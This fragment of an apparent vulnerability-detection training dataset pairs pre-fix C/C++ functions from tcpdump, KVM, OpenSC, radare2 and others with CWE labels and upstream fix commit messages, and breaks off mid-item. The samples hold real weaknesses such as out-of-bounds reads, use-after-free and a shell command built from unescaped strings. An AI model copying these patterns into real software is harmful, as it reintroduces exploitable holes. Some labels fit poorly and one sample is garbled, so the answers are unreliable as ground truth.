+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: aodv_extension(netdissect_options *ndo,\n               const struct aodv_ext *ep, u_int length)\n{\n\tconst struct aodv_hello *ah;\n\n\tswitch (ep->type) {\n\tcase AODV_EXT_HELLO:\n\t\tah = (const struct aodv_hello *)(const void *)ep;\n\t\tND_TCHECK(*ah);\n\t\tif (length < sizeof(struct aodv_hello))\n\t\t\tgoto trunc;\n\t\tND_PRINT((ndo, \"\\n\\text HELLO %ld ms\",\n\t\t    (unsigned long)EXTRACT_32BITS(&ah->interval)));\n\t\tbreak;\n\n\tdefault:\n\t\tND_PRINT((ndo, \"\\n\\text %u %u\", ep->type, ep->length));\n\t\tbreak;\n\t}\n\treturn;\n\ntrunc:\n\tND_PRINT((ndo, \" [|hello]\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13002/AODV: Add some missing bounds checks.\n\nIn aodv_extension() do a bounds check on the extension header before we\nlook at it.\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nAdd a test using the capture file supplied by the reporter(s).\n\nWhile we're at it, add the RFC number, and check the validity of the\nlength for the Hello extension.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int kvm_ioctl_create_device(struct kvm *kvm,\n\t\t\t\t   struct kvm_create_device *cd)\n{\n\tstruct kvm_device_ops *ops = NULL;\n\tstruct kvm_device *dev;\n\tbool test = cd->flags & KVM_CREATE_DEVICE_TEST;\n\tint ret;\n\n\tif (cd->type >= ARRAY_SIZE(kvm_device_ops_table))\n\t\treturn -ENODEV;\n\n\tops = kvm_device_ops_table[cd->type];\n\tif (ops == NULL)\n\t\treturn -ENODEV;\n\n\tif (test)\n\t\treturn 0;\n\n\tdev = kzalloc(sizeof(*dev), GFP_KERNEL);\n\tif (!dev)\n\t\treturn -ENOMEM;\n\n\tdev->ops = ops;\n\tdev->kvm = kvm;\n\n\tmutex_lock(&kvm->lock);\n\tret = ops->create(dev, cd->type);\n\tif (ret < 0) {\n\t\tmutex_unlock(&kvm->lock);\n\t\tkfree(dev);\n\t\treturn ret;\n\t}\n\tlist_add(&dev->vm_node, &kvm->devices);\n\tmutex_unlock(&kvm->lock);\n\n\tif (ops->init)\n\t\tops->init(dev);\n\n\tret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);\n\tif (ret < 0) {\n\t\tmutex_lock(&kvm->lock);\n\t\tlist_del(&dev->vm_node);\n\t\tmutex_unlock(&kvm->lock);\n\t\tops->destroy(dev);\n\t\treturn ret;\n\t}\n\n\tkvm_get_kvm(kvm);\n\tcd->fd = ret;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-362'], 'message': 'kvm: fix kvm_ioctl_create_device() reference counting (CVE-2019-6974)\n\nkvm_ioctl_create_device() does the following:\n\n1. creates a device that holds a reference to the VM object (with a borrowed\n   reference, the VM's refcount has not been bumped yet)\n2. initializes the device\n3. transfers the reference to the device to the caller's file descriptor table\n4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real\n   reference\n\nThe ownership transfer in step 3 must not happen before the reference to the VM\nbecomes a proper, non-borrowed reference, which only happens in step 4.\nAfter step 3, an attacker can close the file descriptor and drop the borrowed\nreference, which can cause the refcount of the kvm object to drop to zero.\n\nThis means that we need to grab a reference for the device before\nanon_inode_getfd(), otherwise the VM can disappear from under us.\n\nFixes: 852b6d57dc7f (\"kvm: add device control API\")\nCc: stable@kernel.org\nSigned-off-by: Jann Horn \nSigned-off-by: Paolo Bonzini '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int rose_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\tstruct msghdr *msg, size_t size, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct rose_sock *rose = rose_sk(sk);\n\tstruct sockaddr_rose *srose = (struct sockaddr_rose *)msg->msg_name;\n\tsize_t copied;\n\tunsigned char *asmptr;\n\tstruct sk_buff *skb;\n\tint n, er, qbit;\n\n\t/*\n\t * This works for seqpacket too. The receiver has ordered the queue for\n\t * us! We do one quick check first though\n\t */\n\tif (sk->sk_state != TCP_ESTABLISHED)\n\t\treturn -ENOTCONN;\n\n\t/* Now we can treat all alike */\n\tif ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL)\n\t\treturn er;\n\n\tqbit = (skb->data[0] & ROSE_Q_BIT) == ROSE_Q_BIT;\n\n\tskb_pull(skb, ROSE_MIN_LEN);\n\n\tif (rose->qbitincl) {\n\t\tasmptr  = skb_push(skb, 1);\n\t\t*asmptr = qbit;\n\t}\n\n\tskb_reset_transport_header(skb);\n\tcopied     = skb->len;\n\n\tif (copied > size) {\n\t\tcopied = size;\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t}\n\n\tskb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\n\n\tif (srose != NULL) {\n\t\tsrose->srose_family = AF_ROSE;\n\t\tsrose->srose_addr   = rose->dest_addr;\n\t\tsrose->srose_call   = rose->dest_call;\n\t\tsrose->srose_ndigis = rose->dest_ndigis;\n\t\tif (msg->msg_namelen >= sizeof(struct full_sockaddr_rose)) {\n\t\t\tstruct full_sockaddr_rose *full_srose = (struct full_sockaddr_rose *)msg->msg_name;\n\t\t\tfor (n = 0 ; n < rose->dest_ndigis ; n++)\n\t\t\t\tfull_srose->srose_digis[n] = rose->dest_digis[n];\n\t\t\tmsg->msg_namelen = sizeof(struct full_sockaddr_rose);\n\t\t} else {\n\t\t\tif (rose->dest_ndigis >= 1) {\n\t\t\t\tsrose->srose_ndigis = 1;\n\t\t\t\tsrose->srose_digi = rose->dest_digis[0];\n\t\t\t}\n\t\t\tmsg->msg_namelen = sizeof(struct sockaddr_rose);\n\t\t}\n\t}\n\n\tskb_free_datagram(sk, skb);\n\n\treturn copied;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'rose: fix info leak via msg_name in rose_recvmsg()\n\nThe code in rose_recvmsg() does not initialize all of the members of\nstruct sockaddr_rose/full_sockaddr_rose when filling the sockaddr info.\nNor does it initialize the padding bytes of the structure inserted by\nthe compiler for alignment. This will lead to leaking uninitialized\nkernel stack bytes in net/socket.c.\n\nFix the issue by initializing the memory used for sockaddr info with\nmemset(0).\n\nCc: Ralf Baechle \nSigned-off-by: Mathias Krause \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline void vma_adjust_trans_huge(struct vm_area_struct *vma,\n\t\t\t\t\t unsigned long start,\n\t\t\t\t\t unsigned long end,\n\t\t\t\t\t long adjust_next)\n{\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'mm: thp: fix /dev/zero MAP_PRIVATE and vm_flags cleanups\n\nThe huge_memory.c THP page fault was allowed to run if vm_ops was null\n(which would succeed for /dev/zero MAP_PRIVATE, as the f_op->mmap wouldn't\nsetup a special vma->vm_ops and it would fallback to regular anonymous\nmemory) but other THP logics weren't fully activated for vmas with vm_file\nnot NULL (/dev/zero has a not NULL vma->vm_file).\n\nSo this removes the vm_file checks so that /dev/zero also can safely use\nTHP (the other albeit safer approach to fix this bug would have been to\nprevent the THP initial page fault to run if vm_file was set).\n\nAfter removing the vm_file checks, this also makes huge_memory.c stricter\nin khugepaged for the DEBUG_VM=y case.  It doesn't replace the vm_file\ncheck with a is_pfn_mapping check (but it keeps checking for VM_PFNMAP\nunder VM_BUG_ON) because for a is_cow_mapping() mapping VM_PFNMAP should\nonly be allowed to exist before the first page fault, and in turn when\nvma->anon_vma is null (so preventing khugepaged registration).  So I tend\nto think the previous comment saying if vm_file was set, VM_PFNMAP might\nhave been set and we could still be registered in khugepaged (despite\nanon_vma was not NULL to be registered in khugepaged) was too paranoid.\nThe is_linear_pfn_mapping check is also I think superfluous (as described\nby comment) but under DEBUG_VM it is safe to stay.\n\nAddresses https://bugzilla.kernel.org/show_bug.cgi?id=33682\n\nSigned-off-by: Andrea Arcangeli \nReported-by: Caspar Zhang \nAcked-by: Mel Gorman \nAcked-by: Rik van Riel \nCc: \t\t[2.6.38.x]\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void mk_request_free(struct session_request *sr)\n{\n    if (sr->fd_file > 0) {\n        mk_vhost_close(sr);\n    }\n\n    if (sr->headers.location) {\n        mk_mem_free(sr->headers.location);\n    }\n\n    if (sr->uri_processed.data != sr->uri.data) {\n        mk_ptr_free(&sr->uri_processed);\n    }\n\n    if (sr->real_path.data != sr->real_path_static) {\n        mk_ptr_free(&sr->real_path);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Request: new request session flag to mark those files opened by FDT\n\nThis patch aims to fix a potential DDoS problem that can be caused\nin the server quering repetitive non-existent resources.\n\nWhen serving a static file, the core use Vhost FDT mechanism, but if\nit sends a static error page it does a direct open(2). When closing\nthe resources for the same request it was just calling mk_vhost_close()\nwhich did not clear properly the file descriptor.\n\nThis patch adds a new field on the struct session_request called 'fd_is_fdt',\nwhich contains MK_TRUE or MK_FALSE depending of how fd_file was opened.\n\nThanks to Matthew Daley  for report and troubleshoot this\nproblem.\n\nSigned-off-by: Eduardo Silva '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: coolkey_find_attribute(sc_card_t *card, sc_cardctl_coolkey_attribute_t *attribute)\n{\n\tu8 object_record_type;\n\tCK_ATTRIBUTE_TYPE attr_type = attribute->attribute_type;\n\tconst u8 *obj = attribute->object->data;\n\tconst u8 *attr = NULL;\n\tsize_t buf_len = attribute->object->length;\n\tcoolkey_object_header_t *object_head;\n\tint attribute_count,i;\n\tattribute->attribute_data_type = SC_CARDCTL_COOLKEY_ATTR_TYPE_STRING;\n\tattribute->attribute_length = 0;\n\tattribute->attribute_value = NULL;\n\n\tif (obj == NULL) {\n\t\t/* cast away const so we can cache the data value */\n\t\tint r = coolkey_fill_object(card, (sc_cardctl_coolkey_object_t *)attribute->object);\n\t\tif (r < 0) {\n\t\t\treturn r;\n\t\t}\n\t\tobj = attribute->object->data;\n\t}\n\n\t/* should be a static assert so we catch this at compile time */\n\tassert(sizeof(coolkey_object_header_t) >= sizeof(coolkey_v0_object_header_t));\n\t/* make sure we have enough of the object to read the record_type */\n\tif (buf_len <= sizeof(coolkey_v0_object_header_t)) {\n\t\treturn SC_ERROR_CORRUPTED_DATA;\n\t}\n\tobject_head = (coolkey_object_header_t *)obj;\n\tobject_record_type = object_head->record_type;\n\t/* make sure it's a type we recognize */\n\tif ((object_record_type != COOLKEY_V1_OBJECT) && (object_record_type != COOLKEY_V0_OBJECT)) {\n\t\treturn SC_ERROR_CORRUPTED_DATA;\n\t}\n\n\n\t/*\n\t * now loop through all the attributes in the list. first find the start of the list\n\t */\n\tattr = coolkey_attribute_start(obj, object_record_type, buf_len);\n\tif (attr == NULL) {\n\t\treturn SC_ERROR_CORRUPTED_DATA;\n\t}\n\tbuf_len -= (attr-obj);\n\n\t/* now get the count */\n\tattribute_count = coolkey_get_attribute_count(obj, object_record_type, buf_len);\n\tfor (i=0; i < attribute_count; i++) {\n\t\tsize_t record_len = coolkey_get_attribute_record_len(attr, object_record_type, buf_len);\n\t\t/* make sure we have the complete record */\n\t\tif (buf_len < record_len) {\n\t\t\t\treturn SC_ERROR_CORRUPTED_DATA;\n\t\t}\n\t\t/* does the attribute match the one we are looking for */\n\t\tif (attr_type == coolkey_get_attribute_type(attr, object_record_type, record_len)) {\n\t\t\t/* yup, return it */\n\t\t\treturn coolkey_get_attribute_data(attr, object_record_type, record_len, attribute);\n\t\t}\n\t\t/* go to the next attribute on the list */\n\t\tbuf_len -= record_len;\n\t\tattr += record_len;\n\t}\n\t/* not find in attribute list, check the fixed attribute record */\n\tif (object_record_type == COOLKEY_V1_OBJECT) {\n\t\tunsigned long fixed_attributes = bebytes2ulong(object_head->fixed_attributes_values);\n\n\t\treturn coolkey_get_attribute_data_fixed(attr_type, fixed_attributes, attribute);\n\t}\n\treturn SC_ERROR_DATA_OBJECT_NOT_FOUND;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'fixed out of bounds reads\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting and suggesting security fixes.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: auth_read_binary(struct sc_card *card, unsigned int offset,\n\t\tunsigned char *buf, size_t count, unsigned long flags)\n{\n\tint rv;\n\tstruct sc_pkcs15_bignum bn[2];\n\tunsigned char *out = NULL;\n\tbn[0].data = NULL;\n\tbn[1].data = NULL;\n\n\tLOG_FUNC_CALLED(card->ctx);\n\tsc_log(card->ctx,\n\t       \"offset %i; size %\"SC_FORMAT_LEN_SIZE_T\"u; flags 0x%lX\",\n\t       offset, count, flags);\n\tsc_log(card->ctx,\"last selected : magic %X; ef %X\",\n\t\t\tauth_current_ef->magic, auth_current_ef->ef_structure);\n\n\tif (offset & ~0x7FFF)\n\t\tLOG_TEST_RET(card->ctx, SC_ERROR_INVALID_ARGUMENTS, \"Invalid file offset\");\n\n\tif (auth_current_ef->magic==SC_FILE_MAGIC &&\n\t\t\tauth_current_ef->ef_structure == SC_CARDCTL_OBERTHUR_KEY_RSA_PUBLIC)   {\n\t\tint jj;\n\t\tunsigned char resp[256];\n\t\tsize_t resp_len, out_len;\n\t\tstruct sc_pkcs15_pubkey_rsa key;\n\n\t\tresp_len = sizeof(resp);\n\t\trv = auth_read_component(card, SC_CARDCTL_OBERTHUR_KEY_RSA_PUBLIC,\n\t\t\t\t2, resp, resp_len);\n\t\tLOG_TEST_RET(card->ctx, rv, \"read component failed\");\n\n\t\tfor (jj=0; jjctx, rv, \"Cannot read RSA public key component\");\n\n\t\tbn[1].data = calloc(1, rv);\n\t\tif (!bn[1].data) {\n\t\t\trv = SC_ERROR_OUT_OF_MEMORY;\n\t\t\tgoto err;\n\t\t}\n\t\tbn[1].len = rv;\n\t\tmemcpy(bn[1].data, resp, rv);\n\n\t\tkey.exponent = bn[0];\n\t\tkey.modulus = bn[1];\n\n\t\tif (sc_pkcs15_encode_pubkey_rsa(card->ctx, &key, &out, &out_len)) {\n\t\t\trv = SC_ERROR_INVALID_ASN1_OBJECT;\n\t\t\tLOG_TEST_GOTO_ERR(card->ctx, rv, \"cannot encode RSA public key\");\n\t\t}\n\t\telse {\n\t\t\trv  = out_len - offset > count ? count : out_len - offset;\n\t\t\tmemcpy(buf, out + offset, rv);\n\n\t\t\tsc_log_hex(card->ctx, \"write_publickey\", buf, rv);\n\t\t}\n\t}\n\telse {\n\t\trv = iso_ops->read_binary(card, offset, buf, count, 0);\n\t}\n\nerr:\n\tfree(bn[0].data);\n\tfree(bn[1].data);\n\tfree(out);\n\n\tLOG_FUNC_RETURN(card->ctx, rv);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'fixed out of bounds reads\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting and suggesting security fixes.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ModuleSQL::~ModuleSQL()\n{\n\tif (Dispatcher)\n\t{\n\t\tDispatcher->join();\n\t\tDispatcher->OnNotify();\n\t\tdelete Dispatcher;\n\t}\n\tfor(ConnMap::iterator i = connections.begin(); i != connections.end(); i++)\n\t{\n\t\tdelete i->second;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Initialise and deallocate the MySQL library correctly.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SWFShape_setLeftFillStyle(SWFShape shape, SWFFillStyle fill)\n{\n\tShapeRecord record;\n\tint idx;\n\n\tif ( shape->isEnded || shape->isMorph )\n\t\treturn;\n\t\n\tif(fill == NOFILL)\n\t{\n\t\trecord = addStyleRecord(shape);\n\t\trecord.record.stateChange->leftFill = 0;\n\t\trecord.record.stateChange->flags |= SWF_SHAPE_FILLSTYLE0FLAG;\n\t\treturn;\n\t}\n\n\tidx = getFillIdx(shape, fill);\n\tif(idx == 0) // fill not present in array\n\t{\n\t\tSWFFillStyle_addDependency(fill, (SWFCharacter)shape);\n\t\tif(addFillStyle(shape, fill) < 0)\n\t\t\treturn;\t\t\n\t\tidx = getFillIdx(shape, fill);\n\t}\n\t\t\t\t\n\trecord = addStyleRecord(shape);\n\trecord.record.stateChange->leftFill = idx;\n\trecord.record.stateChange->flags |= SWF_SHAPE_FILLSTYLE0FLAG;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'SWFShape_setLeftFillStyle: prevent fill overflow'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int64 CSteamNetworkConnectionBase::SNP_SendMessage( CSteamNetworkingMessage *pSendMessage, SteamNetworkingMicroseconds usecNow, bool *pbThinkImmediately )\n{\n\tint cbData = (int)pSendMessage->m_cbSize;\n\n\t// Assume we won't want to wake up immediately\n\tif ( pbThinkImmediately )\n\t\t*pbThinkImmediately = false;\n\n\t// Check if we're full\n\tif ( m_senderState.PendingBytesTotal() + cbData > m_connectionConfig.m_SendBufferSize.Get() )\n\t{\n\t\tSpewWarningRateLimited( usecNow, \"Connection already has %u bytes pending, cannot queue any more messages\\n\", m_senderState.PendingBytesTotal() );\n\t\tpSendMessage->Release();\n\t\treturn -k_EResultLimitExceeded; \n\t}\n\n\t// Check if they try to send a really large message\n\tif ( cbData > k_cbMaxUnreliableMsgSize && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable )  )\n\t{\n\t\tSpewWarningRateLimited( usecNow, \"Trying to send a very large (%d bytes) unreliable message.  Sending as reliable instead.\\n\", cbData );\n\t\tpSendMessage->m_nFlags |= k_nSteamNetworkingSend_Reliable;\n\t}\n\n\tif ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoDelay )\n\t{\n\t\t// FIXME - need to check how much data is currently pending, and return\n\t\t// k_EResultIgnored if we think it's going to be a while before this\n\t\t// packet goes on the wire.\n\t}\n\n\t// First, accumulate tokens, and also limit to reasonable burst\n\t// if we weren't already waiting to send\n\tSNP_ClampSendRate();\n\tSNP_TokenBucket_Accumulate( usecNow );\n\n\t// Assign a message number\n\tpSendMessage->m_nMessageNumber = ++m_senderState.m_nLastSentMsgNum;\n\n\t// Reliable, or unreliable?\n\tif ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable )\n\t{\n\t\tpSendMessage->SNPSend_SetReliableStreamPos( m_senderState.m_nReliableStreamPos );\n\n\t\t// Generate the header\n\t\tbyte *hdr = pSendMessage->SNPSend_ReliableHeader();\n\t\thdr[0] = 0;\n\t\tbyte *hdrEnd = hdr+1;\n\t\tint64 nMsgNumGap = pSendMessage->m_nMessageNumber - m_senderState.m_nLastSendMsgNumReliable;\n\t\tAssert( nMsgNumGap >= 1 );\n\t\tif ( nMsgNumGap > 1 )\n\t\t{\n\t\t\thdrEnd = SerializeVarInt( hdrEnd, (uint64)nMsgNumGap );\n\t\t\thdr[0] |= 0x40;\n\t\t}\n\t\tif ( cbData < 0x20 )\n\t\t{\n\t\t\thdr[0] |= (byte)cbData;\n\t\t}\n\t\telse\n\t\t{\n\t\t\thdr[0] |= (byte)( 0x20 | ( cbData & 0x1f ) );\n\t\t\thdrEnd = SerializeVarInt( hdrEnd, cbData>>5U );\n\t\t}\n\t\tpSendMessage->m_cbSNPSendReliableHeader = hdrEnd - hdr;\n\n\t\t// Grow the total size of the message by the header\n\t\tpSendMessage->m_cbSize += pSendMessage->m_cbSNPSendReliableHeader;\n\n\t\t// Advance stream pointer\n\t\tm_senderState.m_nReliableStreamPos += pSendMessage->m_cbSize;\n\n\t\t// Update stats\n\t\t++m_senderState.m_nMessagesSentReliable;\n\t\tm_senderState.m_cbPendingReliable += pSendMessage->m_cbSize;\n\n\t\t// Remember last sent reliable message number, so we can know how to\n\t\t// encode the next one\n\t\tm_senderState.m_nLastSendMsgNumReliable = pSendMessage->m_nMessageNumber;\n\n\t\tAssert( pSendMessage->SNPSend_IsReliable() );\n\t}\n\telse\n\t{\n\t\tpSendMessage->SNPSend_SetReliableStreamPos( 0 );\n\t\tpSendMessage->m_cbSNPSendReliableHeader = 0;\n\n\t\t++m_senderState.m_nMessagesSentUnreliable;\n\t\tm_senderState.m_cbPendingUnreliable += pSendMessage->m_cbSize;\n\n\t\tAssert( !pSendMessage->SNPSend_IsReliable() );\n\t}\n\n\t// Add to pending list\n\tm_senderState.m_messagesQueued.push_back( pSendMessage );\n\tSpewVerboseGroup( m_connectionConfig.m_LogLevel_Message.Get(), \"[%s] SendMessage %s: MsgNum=%lld sz=%d\\n\",\n\t\t\t\t GetDescription(),\n\t\t\t\t pSendMessage->SNPSend_IsReliable() ? \"RELIABLE\" : \"UNRELIABLE\",\n\t\t\t\t (long long)pSendMessage->m_nMessageNumber,\n\t\t\t\t pSendMessage->m_cbSize );\n\n\t// Use Nagle?\n\t// We always set the Nagle timer, even if we immediately clear it.  This makes our clearing code simpler,\n\t// since we can always safely assume that once we find a message with the nagle timer cleared, all messages\n\t// queued earlier than this also have it cleared.\n\t// FIXME - Don't think this works if the configuration value is changing.  Since changing the\n\t// config value could violate the assumption that nagle times are increasing.  Probably not worth\n\t// fixing.\n\tpSendMessage->SNPSend_SetUsecNagle( usecNow + m_connectionConfig.m_NagleTime.Get() );\n\tif ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoNagle )\n\t\tm_senderState.ClearNagleTimers();\n\n\t// Save the message number.  The code below might end up deleting the message we just queued\n\tint64 result = pSendMessage->m_nMessageNumber;\n\n\t// Schedule wakeup at the appropriate time.  (E.g. right now, if we're ready to send, \n\t// or at the Nagle time, if Nagle is active.)\n\t//\n\t// NOTE: Right now we might not actually be capable of sending end to end data.\n\t// But that case is relatievly rare, and nothing will break if we try to right now.\n\t// On the other hand, just asking the question involved a virtual function call,\n\t// and it will return success most of the time, so let's not make the check here.\n\tif ( GetState() == k_ESteamNetworkingConnectionState_Connected )\n\t{\n\t\tSteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow );\n\n\t\t// Ready to send now?\n\t\tif ( usecNextThink > usecNow )\n\t\t{\n\n\t\t\t// We are rate limiting.  Spew about it?\n\t\t\tif ( m_senderState.m_messagesQueued.m_pFirst->SNPSend_UsecNagle() == 0 )\n\t\t\t{\n\t\t\t\tSpewVerbose( \"[%s] RATELIM QueueTime is %.1fms, SendRate=%.1fk, BytesQueued=%d\\n\", \n\t\t\t\t\tGetDescription(),\n\t\t\t\t\tm_senderState.CalcTimeUntilNextSend() * 1e-3,\n\t\t\t\t\tm_senderState.m_n_x * ( 1.0/1024.0),\n\t\t\t\t\tm_senderState.PendingBytesTotal()\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Set a wakeup call.\n\t\t\tEnsureMinThinkTime( usecNextThink );\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t// We're ready to send right now.  Check if we should!\n\t\t\tif ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_UseCurrentThread )\n\t\t\t{\n\n\t\t\t\t// We should send in this thread, before the API entry point\n\t\t\t\t// that the app used returns.  Is the caller gonna handle this?\n\t\t\t\tif ( pbThinkImmediately )\n\t\t\t\t{\n\t\t\t\t\t// Caller says they will handle it\n\t\t\t\t\t*pbThinkImmediately = true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Caller wants us to just do it here.\n\t\t\t\t\tCheckConnectionStateAndSetNextThinkTime( usecNow );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Wake up the service thread ASAP to send this in the background thread\n\t\t\t\tSetNextThinkTimeASAP();\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Drop unreliable segments with weird offset/size.\n\nAnd be more deliberate about limits of unreliable message/segment sizes.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int download(struct SPDBDownloader *pd) {\n\tSPDBDownloaderOpt *opt = pd->opt;\n\tchar *curl_cmd = NULL;\n\tchar *extractor_cmd = NULL;\n\tchar *abspath_to_archive = NULL;\n\tchar *abspath_to_file = NULL;\n\tchar *archive_name = NULL;\n\tsize_t archive_name_len = 0;\n\tchar *symbol_store_path = NULL;\n\tchar *dbg_file = NULL;\n\tchar *guid = NULL;\n\tchar *archive_name_escaped  = NULL;\n\tchar *user_agent = NULL;\n\tchar *symbol_server = NULL;\n\n\tint res = 0;\n\tint cmd_ret;\n\tif (!opt->dbg_file || !*opt->dbg_file) {\n\t\t// no pdb debug file\n\t\treturn 0;\n\t}\n\tif (!checkCurl ()) {\n\t\treturn 0;\n\t}\n\t// dbg_file len is > 0\n\tarchive_name_len = strlen (opt->dbg_file);\n\tarchive_name = malloc (archive_name_len + 1);\n\tif (!archive_name) {\n\t\treturn 0;\n\t}\n\tmemcpy (archive_name, opt->dbg_file, archive_name_len + 1);\n\tarchive_name[archive_name_len - 1] = '_';\n\tsymbol_store_path = r_str_escape (opt->symbol_store_path);\n\tdbg_file = r_str_escape (opt->dbg_file);\n\tguid = r_str_escape (opt->guid);\n\tarchive_name_escaped = r_str_escape (archive_name);\n\tuser_agent = r_str_escape (opt->user_agent);\n\tsymbol_server = r_str_escape (opt->symbol_server);\n\n\tabspath_to_archive = r_str_newf (\"%s%s%s%s%s%s%s\",\n\t\t\t    symbol_store_path, R_SYS_DIR,\n\t\t\t    dbg_file, R_SYS_DIR,\n\t\t\t    guid, R_SYS_DIR,\n\t\t\t    archive_name_escaped);\n\n\tabspath_to_file = strdup (abspath_to_archive);\n\tabspath_to_file[strlen (abspath_to_file) - 1] = 'b';\n\tif (r_file_exists (abspath_to_file)) {\n\t\teprintf (\"File already downloaded.\\n\");\n\t\tR_FREE (user_agent);\n\t\tR_FREE (abspath_to_archive);\n\t\tR_FREE (archive_name_escaped);\n\t\tR_FREE (symbol_store_path);\n\t\tR_FREE (dbg_file);\n\t\tR_FREE (guid);\n\t\tR_FREE (archive_name);\n\t\tR_FREE (abspath_to_file);\n\t\tR_FREE (symbol_server);\n\t\treturn 1;\n\t}\n\n\tif (checkExtract () || opt->extract == 0) {\n\t\tres = 1;\n\n\t\tcurl_cmd = r_str_newf (\"curl -sfLA \\\"%s\\\" \\\"%s/%s/%s/%s\\\" --create-dirs -o \\\"%s\\\"\",\n\t\t                       user_agent,\n\t\t                       symbol_server,\n\t\t\t\t\t\t\t   dbg_file,\n\t\t\t\t\t\t\t   guid,\n\t\t                       archive_name_escaped,\n\t\t                       abspath_to_archive);\n#if __WINDOWS__\n\t\tconst char *cabextractor = \"expand\";\n\t\tconst char *format = \"%s %s %s\";\n\n\t\t// extractor_cmd -> %1 %2 %3\n\t\t// %1 - 'expand'\n\t\t// %2 - absolute path to archive\n\t\t// %3 - absolute path to file that will be dearchive\n\t\textractor_cmd = r_str_newf (format, cabextractor,\n\t\t\tabspath_to_archive, abspath_to_file);\n#else\n\t\tconst char *cabextractor = \"cabextract\";\n\t\tconst char *format = \"%s -d \\\"%s\\\" \\\"%s\\\"\";\n\t\tchar *abspath_to_dir = r_file_dirname (abspath_to_archive);\n\t\t// cabextract -d %1 %2\n\t\t// %1 - path to directory where to extract all files from cab archive\n\t\t// %2 - absolute path to cab archive\n\t\textractor_cmd = r_str_newf (format, cabextractor, abspath_to_dir, 